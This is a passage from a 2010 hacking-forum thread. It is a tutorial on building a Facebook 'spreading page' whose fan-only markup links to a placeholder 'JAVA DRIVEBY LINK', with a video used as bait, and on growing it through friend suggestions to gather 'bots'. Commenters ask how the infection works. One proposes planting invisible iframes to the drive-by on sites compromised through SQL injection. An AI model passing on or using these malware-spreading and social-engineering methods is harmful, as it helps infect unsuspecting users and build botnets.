Then we are almost done.

Insert and Edit this code into the code part.

```
Code [b]<!--[/b] start non-fan part -->
</fb:visible-to-connection>
</a>
[b]<!--[/b] end non-fan part -->
<BR>

<BR>
<fb:visible-to-connection>
[b]<!--[/b] start fan part -->
<a href="JAVA DRIVEBY LINK"></a>
</fb:visible-to-connection>

[b]<!--[/b] end fan part -->
And Select Save Changes.
```

Congratulations! You Now Have You First Facebook Spreading Page!

PLEASE DO NOT RIP, LEECH OR USE THIS AS YOUR OWN.

First of all you need to suggest to all your friends (more the better) then from there there friends will see the page and join, and then there friends will join. its a never ending cycle. the more friends -> the more bots :)

**CATMAN** - June 7, 2010, 7:29 am

LOL Nakros I will try this method when i get home.

Nothing from SE and torrents :(

Thanks for nice tut and a partial credit :D

**mayank\_predator** - June 28, 2010, 5:58 am

Yeah i understood that bro can you please elaborate bro that how it actually works. I mean to ask , when they visit , then what happens where they click and when our java drive by link runs and they get infected. I just wanted to understand the process so that i can decide whether i have set it all correct.

**bazda\_hacker** - June 28, 2010, 6:07 am

NICE TUT MAN . THAT WILL HELP A LOT

**nakros** - June 28, 2010, 7:34 am

when the victim clicks the video (i used a video as bait, this could be anything) they are redirected to your java driveby, and they should become infected. thats basically how it works :)

**mayank\_predator** - June 28, 2010, 12:06 pm

Thats cool bro , but now let me know that how can i check that i have set it up all correctly . Which page to see or where to go or how ?

**apt-get money** - December 21, 2010, 2:58 am

What i also thought about is making a page with an Iframe to your java driveby.

a java driveby is actually a page wich requires NO USER ACTIVITIES to become infected, just visiting it.

so by making an invisible Iframe on webpages you SQL, and things like this, you will get ALOT of victims.

now just find a tut to make a real java driveby o\_O

**cancerbaby** - December 23, 2010, 2:12 am

Ty will try when i get a chance :D
